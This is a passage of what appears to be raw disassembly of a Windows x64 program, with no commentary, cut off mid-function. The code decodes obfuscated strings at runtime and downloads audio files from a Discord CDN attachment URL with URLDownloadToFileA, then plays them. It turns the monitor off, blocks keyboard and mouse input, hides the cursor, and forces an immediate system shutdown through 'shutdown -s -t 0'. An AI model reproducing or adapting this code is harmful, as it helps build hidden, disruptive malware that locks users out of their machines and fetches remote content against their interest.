call fcn.140063330
mov byte [rbp + 0x425], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x426], al
mov dl, 0x2d
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x427], al
mov dl, 0x2e
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x428], al
mov dl, 0x77
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x429], al
mov dl, 0x61
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x42a], al
mov dl, 0x76
lea rcx, [rbp + 0x3d0]
call fcn.140063330
mov byte [rbp + 0x42b], al
xor eax, eax
mov byte [rbp + 0x42c], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x3d1]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x3d0]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x3d1]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x5b
jb 0x140044860
mov edx, 0x5b
lea rcx, [rbp + 0x3d1]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x3d1]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xc50]
call fcn.140027c60
nop
mov byte [rbp + 0x280], 0x64
mov dl, 0x43
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x281], al
mov dl, 0x3a
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x282], al
mov dl, 0x5c
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x283], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x284], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x285], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x286], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x287], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x288], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x289], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28a], al
mov dl, 0x2d
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28b], al
mov dl, 0x2e
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28c], al
mov dl, 0x77
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28d], al
mov dl, 0x61
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28e], al
mov dl, 0x76
lea rcx, [rbp + 0x280]
call fcn.140063330
mov byte [rbp + 0x28f], al
xor eax, eax
mov byte [rbp + 0x290], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x281]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x280]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x281]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xf
jb 0x140044a10
mov edx, 0xf
lea rcx, [rbp + 0x281]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x281]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xc30]
call fcn.140027c60
nop
lea rcx, [rbp + 0xc30]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xc50]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov byte [rbp + 0x298], 0x50
mov dl, 0x43
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x299], al
mov dl, 0x3a
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29a], al
mov dl, 0x5c
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29b], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29c], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29d], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29e], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x29f], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a0], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a1], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a2], al
mov dl, 0x2d
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a3], al
mov dl, 0x2e
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a4], al
mov dl, 0x77
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a5], al
mov dl, 0x61
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a6], al
mov dl, 0x76
lea rcx, [rbp + 0x298]
call fcn.140063330
mov byte [rbp + 0x2a7], al
xor eax, eax
mov byte [rbp + 0x2a8], al
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x299]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x298]
call fcn.140063330
movzx edi, al
mov rdx, rbx
lea rcx, [rbp + 0x299]
call fcn.140063560
mov byte [rax], dil
inc rbx
cmp rbx, 0xf
jb 0x140044bf0
mov edx, 0xf
lea rcx, [rbp + 0x299]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x299]
call fcn.140063550
mov rcx, rax
xor edx, edx
mov r8d, 0x20000
call qword [sym.imp.WINMM.dll_PlaySoundA]
nop dword [rax]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140044c60
call fcn.140031140
test al, al
je 0x140045d18
mov byte [rbp + 0xb8], 0x66
mov dl, 0x43
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xb9], al
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xba], al
mov dl, 0x6f
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xbb], al
mov dl, 0x77
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xbc], al
mov dl, 0x6e
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xbd], al
mov dl, 0x20
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xbe], al
mov dl, 0x4c
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xbf], al
mov dl, 0x6f
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xc0], al
mov dl, 0x67
lea rcx, [rbp + 0xb8]
call fcn.140063330
mov byte [rbp + 0xc1], al
xor eax, eax
mov byte [rbp + 0xc2], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xb9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xb8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xb9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140044d60
mov edx, 9
lea rcx, [rbp + 0xb9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xb9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x990]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rsp + 0x44], 0x53
mov dl, 0x35
lea rcx, [rsp + 0x44]
call fcn.140063330
mov byte [rsp + 0x45], al
xor eax, eax
mov byte [rsp + 0x46], al
xor edx, edx
lea rcx, [rsp + 0x45]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x44]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x45]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x45]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x45]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x9b0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x9d0]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x9d0]
call fcn.140065820
mov byte [rbp + 0x328], 0x57
mov dl, 0x73
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x329], al
mov dl, 0x68
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32a], al
mov dl, 0x75
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32b], al
mov dl, 0x74
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32c], al
mov dl, 0x64
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32d], al
mov dl, 0x6f
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32e], al
mov dl, 0x77
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x32f], al
mov dl, 0x6e
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x330], al
mov dl, 0x20
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x331], al
mov dl, 0x2d
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x332], al
mov dl, 0x73
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x333], al
mov dl, 0x20
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x334], al
mov dl, 0x2d
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x335], al
mov dl, 0x74
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x336], al
mov dl, 0x20
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x337], al
mov dl, 0x30
lea rcx, [rbp + 0x328]
call fcn.140063330
mov byte [rbp + 0x338], al
xor eax, eax
mov byte [rbp + 0x339], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp + 0x329]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x328]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x329]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x140044fc0
mov edx, 0x10
lea rcx, [rbp + 0x329]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x329]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x48], 0x6a
mov dl, 0x30
lea rcx, [rsp + 0x48]
call fcn.140063330
mov byte [rsp + 0x49], al
xor eax, eax
mov byte [rsp + 0x4a], al
xor edx, edx
lea rcx, [rsp + 0x49]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x48]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x49]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x49]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x49]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x18
call fcn.14007cdb4
mov rdi, rax
mov qword [rsp + 0x30], rax
mov edx, 0x18
mov rcx, rax
call fcn.1400295b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov rcx, rdi
call fcn.140032500
mov r14, rax
mov byte [rbp - 0x64], 0x1c
mov dl, 0x44
lea rcx, [rbp - 0x64]
call fcn.140063330
mov byte [rbp - 0x63], al
mov dl, 0x65
lea rcx, [rbp - 0x64]
call fcn.140063330
mov byte [rbp - 0x62], al
mov dl, 0x62
lea rcx, [rbp - 0x64]
call fcn.140063330
mov byte [rbp - 0x61], al
mov dl, 0x75
lea rcx, [rbp - 0x64]
call fcn.140063330
mov byte [rbp - 0x60], al
mov dl, 0x67
lea rcx, [rbp - 0x64]
call fcn.140063330
mov byte [rbp - 0x5f], al
xor eax, eax
mov byte [rbp - 0x5e], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x63]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x64]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x63]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140045120
mov edx, 5
lea rcx, [rbp - 0x63]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x63]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x9f0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xa10]
mov rcx, r14
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xa10]
call fcn.140065820
call fcn.140028320
call fcn.140028380
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov byte [rbp + 0x490], 2
mov dl, 0x68
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x491], al
mov dl, 0x74
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x492], al
mov dl, 0x74
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x493], al
mov dl, 0x70
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x494], al
mov dl, 0x73
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x495], al
mov dl, 0x3a
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x496], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x497], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x498], al
mov dl, 0x63
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x499], al
mov dl, 0x64
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49a], al
mov dl, 0x6e
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49b], al
mov dl, 0x2e
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49c], al
mov dl, 0x64
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49d], al
mov dl, 0x69
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49e], al
mov dl, 0x73
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x49f], al
mov dl, 0x63
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a0], al
mov dl, 0x6f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a1], al
mov dl, 0x72
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a2], al
mov dl, 0x64
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a3], al
mov dl, 0x61
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a4], al
mov dl, 0x70
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a5], al
mov dl, 0x70
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a6], al
mov dl, 0x2e
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a7], al
mov dl, 0x63
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a8], al
mov dl, 0x6f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4a9], al
mov dl, 0x6d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4aa], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ab], al
mov dl, 0x61
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ac], al
mov dl, 0x74
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ad], al
mov dl, 0x74
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ae], al
mov dl, 0x61
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4af], al
mov dl, 0x63
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b0], al
mov dl, 0x68
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b1], al
mov dl, 0x6d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b2], al
mov dl, 0x65
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b3], al
mov dl, 0x6e
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b4], al
mov dl, 0x74
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b5], al
mov dl, 0x73
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b6], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b7], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b8], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4b9], al
mov dl, 0x37
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ba], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4bb], al
mov dl, 0x30
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4bc], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4bd], al
mov dl, 0x39
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4be], al
mov dl, 0x33
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4bf], al
mov dl, 0x36
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c0], al
mov dl, 0x38
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c1], al
mov dl, 0x39
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c2], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c3], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c4], al
mov dl, 0x39
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c5], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c6], al
mov dl, 0x37
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c7], al
mov dl, 0x30
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c8], al
mov dl, 0x35
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4c9], al
mov dl, 0x37
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ca], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4cb], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4cc], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4cd], al
mov dl, 0x38
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ce], al
mov dl, 0x30
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4cf], al
mov dl, 0x39
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d0], al
mov dl, 0x36
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d1], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d2], al
mov dl, 0x31
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d3], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d4], al
mov dl, 0x38
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d5], al
mov dl, 0x30
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d6], al
mov dl, 0x33
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d7], al
mov dl, 0x33
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d8], al
mov dl, 0x36
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4d9], al
mov dl, 0x33
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4da], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4db], al
mov dl, 0x33
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4dc], al
mov dl, 0x38
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4dd], al
mov dl, 0x34
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4de], al
mov dl, 0x2f
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4df], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e0], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e1], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e2], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e3], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e4], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e5], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e6], al
mov dl, 0x2d
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e7], al
mov dl, 0x2e
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e8], al
mov dl, 0x77
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4e9], al
mov dl, 0x61
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4ea], al
mov dl, 0x76
lea rcx, [rbp + 0x490]
call fcn.140063330
mov byte [rbp + 0x4eb], al
xor eax, eax
mov byte [rbp + 0x4ec], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x491]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x490]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x491]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x5b
jb 0x1400458f0
mov edx, 0x5b
lea rcx, [rbp + 0x491]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x491]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.140027c60
nop
mov byte [rbp + 0x2b0], 0x64
mov dl, 0x43
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b1], al
mov dl, 0x3a
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b2], al
mov dl, 0x5c
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b3], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b4], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b5], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b6], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b7], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b8], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2b9], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2ba], al
mov dl, 0x2d
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2bb], al
mov dl, 0x2e
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2bc], al
mov dl, 0x77
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2bd], al
mov dl, 0x61
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2be], al
mov dl, 0x76
lea rcx, [rbp + 0x2b0]
call fcn.140063330
mov byte [rbp + 0x2bf], al
xor eax, eax
mov byte [rbp + 0x2c0], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x2b1]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x2b0]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x2b1]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xf
jb 0x140045aa0
mov edx, 0xf
lea rcx, [rbp + 0x2b1]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x2b1]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xd90]
call fcn.140027c60
nop
lea rcx, [rbp + 0xd90]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xbf0]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov byte [rbp + 0x208], 0x50
mov dl, 0x43
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x209], al
mov dl, 0x3a
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20a], al
mov dl, 0x5c
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20b], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20c], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20d], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20e], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x20f], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x210], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x211], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x212], al
mov dl, 0x2d
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x213], al
mov dl, 0x2e
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x214], al
mov dl, 0x77
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x215], al
mov dl, 0x61
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x216], al
mov dl, 0x76
lea rcx, [rbp + 0x208]
call fcn.140063330
mov byte [rbp + 0x217], al
xor eax, eax
mov byte [rbp + 0x218], al
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x209]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x208]
call fcn.140063330
movzx edi, al
mov rdx, rbx
lea rcx, [rbp + 0x209]
call fcn.140063560
mov byte [rax], dil
inc rbx
cmp rbx, 0xf
jb 0x140045c80
mov edx, 0xf
lea rcx, [rbp + 0x209]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x209]
call fcn.140063550
mov rcx, rax
xor edx, edx
mov r8d, 0x20000
call qword [sym.imp.WINMM.dll_PlaySoundA]
nop dword [rax]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140045cf0
call fcn.1400311f0
test al, al
je 0x140047088
mov byte [rbp + 0xc8], 0xf
mov dl, 0x43
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xc9], al
mov dl, 0x6c
